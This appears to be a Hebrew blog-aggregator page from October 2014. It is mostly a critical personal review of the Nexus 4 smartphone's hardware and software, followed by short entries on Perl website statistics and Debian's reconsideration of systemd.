לפני שנה קניתי נקסוס 4 (ביום שיצא נקסוס 5, היה בעסה לקרא את זה ברגע שהדלקתי את המכשיר…) לא כתבתי ביקורת עליו, אז אני חושב שהגיע הזמן. הפוסט הוא לא נחמד מדי… אז אם יש לך קיבה רגישה, תמשיך הלאה (הביקורת לא ממש מחמיאה). אני אשמח לשמוע ממישהו שיש לו נקסוס 5, האם הבעיות שונות או דומות?

מבחינת חומרה:

  1. המכשיר מגיע בלי אוזניות. אם תחברו אליו אוזניות של סמסונג – לא תכלו לשלוט על עוצמת הווליום. כנ״ל עם אוזניות של אפל. הכפתור כדי לענות לשיחה עובד בשני הסטים של האוזניות.
  2. המכשיר מגיע בלי מטען לרכב.
  3. מגיע כבל USB ארוך יחסית (יש!) ולו כזה חיבור לקיר. החיבור לקיר הוא לא מתאים לכל שקע – יש שקעים ישנים שבהם אני לא מצליח להכניס אותו כלל (התקן הישראלי הישן – הוא קצת יותר קטן מהאירופאי).
  4. הוא מרגיש מאוד שביר… אחרי כמה חודשים אני כמעט מרגיש שהמסך רופף טיפה… עוד שנה, אני מתחיל לפחד שהחיבור של ה-USB יתפרק.
  5. הסלולה פנימית, וצריך לפרק את המכשיר כדי להחליף אותה. הברגים הם לא ברגים רגילים (לא שטוח ולא פיליפס) והם בקוטר ממש קטן – אז אני אצתרך לקנות מפתוח מיוחד.
  6. מגנים, מקלדות חיצוניות… כל ה-Accesories.. כמעט ולא קיימים למכשיר ומה שיש יחסית יקר. מגנים שקופים אפשר למצוא… אבל יחסית ביוקר (של אייפון ממש זולים… ייצור המוני…)
  7. הרמקול החיצוני פשוט נשמע רע וצפצפני.
  8. כשאני משתמש באוזניות של סמסונג אנשים מתלוננים שאי אפשר להבין אותי. אני חוזר להשתמש במיקרופון המובנה (בלי אוזניות) ואנשים שומעים אותי. אותו סיפור כשאני משתמש באוזניות של אייפון (האוזניות אמורות להיות טובות… לא?). יש לי זוג אוזניות שלישי שלא שומעים אותי דרכן, הבעייה היא במכשיר.
  9. המסך פשוט… נראה רע. הוא בהיר… אבל ניגודיות הצבעים היא די גרועה. השוותי לגלקסי 4, וגלקסי 3 מיני ומול אייפון 5, וזה פשוט רע. השוואתי מול גלקסי 1 – והפרדת הצבעים של הגלקסי הייתה יותר טובה, פשוט הנקסוס היה בהיר יותר.

מבחינת תוכנה:

  1. מצד אחד מעניין. יש המון מערכות הפעלה אלטרנטיביות, ואם יודעים לכבות את המכשיר אז זה מאוד כיף. ואני לא מדבר רק על מודים של אנדרויד, אלא דברים מוזרים באמת (אובונטו, פיירפוקס, Sailfish – מערכת ההפעלה של Jolla).
  2. מצד שני – כל שאר מערכות ההפעלה פשוט חרא בלבן. לא שוות הפעלה במשך יומיים. תמיד חזרתי אל CyanogenMod או אל Stock/Vanilla.
  3. הרומים של אנדרויד שמסתובבים ברשת – הם לא רעים. כולם עובדים ״חלק״. למעט זה שבכולם המכשיר מתחמם. מאוד. לפעמים מחזיקים את הטלפון בזמן עיון ב-Reddit ואתה מרגיש צריבה קטנה (*).
  4. השימוש ב-GPS פשוט גומר את הסוללה ובמהלך היום המכשיר מתחם כל כך, שהוא מפסיק להיטען. ותוך 20-30 דקות הוא פשוט נכבה (גם כשהוא מחובר לחשמל של האוטו). (**)
  5. הזמן שסוללה מחזיקה הוא בערך 20 שעות כשהיא חדשה. היום היא מחזיקה 16-18 שעות. בדרך כלל פחות.

    Screenshot_2014-09-16-09-35-00

  6. שימוש בשיתוף אינטרנט גם… גורם להתחממות קשה וגומרת את הסוללה מהר מדי. אפילו ברום הרגיל של KitKat.. המכשיר מתחמם יותר מדי. לא נוח לאחיזה.

אני חזרתי להשתמש ברום הסטוק של גוגל כדי לבדוק לעומק את טענות 3,4. אני צריך לבדוק את זה במשך כמה שבועות…

בקיצור – זהו מכשיר זול. אל תצפו ממנו להרבה. נראה ש-LG עשו את המינימום שהיה אפשר כדי לקבל את החותמת של גוגל/נקסוס. הוא מנסה לגרום לך להרגיש כאילו קנית מכשיר premium אבל בגודרי – קיבלת מכשיר בינוני. אבל מגניב.

לגבי נקסוס 5: ואללה… לא יודע. אולי הוא מכשיר יותר טוב.

לגבי נקסוס 6: אין מצב. לא מתקרב לזה. הנקסוס 4 שיש לי גדול לי מדי. אני רוצה מכשיר שאפשר לתפעל ביד אחת. בשביל שתי ידיים אני רוצה מקלדת פיזית. לא תודה.

(*) אני גולש ברכבת, זה אומר צינור גדול שכנראה משתמש כמו כלוב פארדיי ויש מלא אנשים אחרים שטוחנים את אותן אנטנות שאני טוחן. אני גם בגולן שיש להם רשת ממש גרועה. ייתכן ששילוב של אלו זה מה שגורם למכשיר להתנהג ככה.

(**) המטען שלי לרכב הוא לא מקורי… הוא די ליפה… אז ייתכן והוא דפוק. ייתכן גם השמש היוקדת על מכשיר שחור גורמת לו להתחמם. מצד שני – אלו בעיות של המכשיר בכל זאת. בנהיגות בלילה, גם וויז וגם המפות של גוגל לוקחות יותר חשמל מאשר המטען מספק – ולכן רמת הטעינה יורדת לאט במהלך הנסיעה, בגלקסי1 שלי בהתחלה זה אשכרה היה מטעין את המכשיר…(***).

(***) וויז היה שונה אז… ייתכן והתוכנה החדשה עושה המון חישובים מקומיים שגורמת למכשיר לעבור קשה ולגמור את הסוללה, ההשוואה היא לא מתאימה.

הטקסט המלא

18 אוקטובר, 2014 06:08 PM

Gabor Szabo

Stats of 7 Perl-related web sites

Once in a while I share some stats of some of the Perl-related web sites. For example at the beginning of 2014 I wrote about the popularity of Perl bases on some numbers from 2013. This time I just share the numbers as appear in Google Analytics for a number of sites where I have access to this data.

For the full article visit Stats of 7 Perl-related web sites

18 אוקטובר, 2014 11:05 AM

17 אוקטובר, 2014

Boris Shtrasman

systemd הולך לעוף ?

בסלאדשוט דיווחו שבדביאן בוחנים בוחנים מחדש את systemd.

הופתעתי לטובה שבדביאן systemd עדיין לא הדביק יותר מדי חבילות לא קשורות (החבילות שפה יחסית קשורות למערכת).


apt-cache rdepends systemd | grep -vvv systemd
Reverse Depends:
tuxonice-userui:i386
udev:i386
tuxonice-userui
udev
solaar
sogo
pcscd
|mate-power-manager
lighttpd
libvirt-daemon-system
|libguestfs0
init-system-helpers
gummiboot

17 אוקטובר, 2014 09:55 PM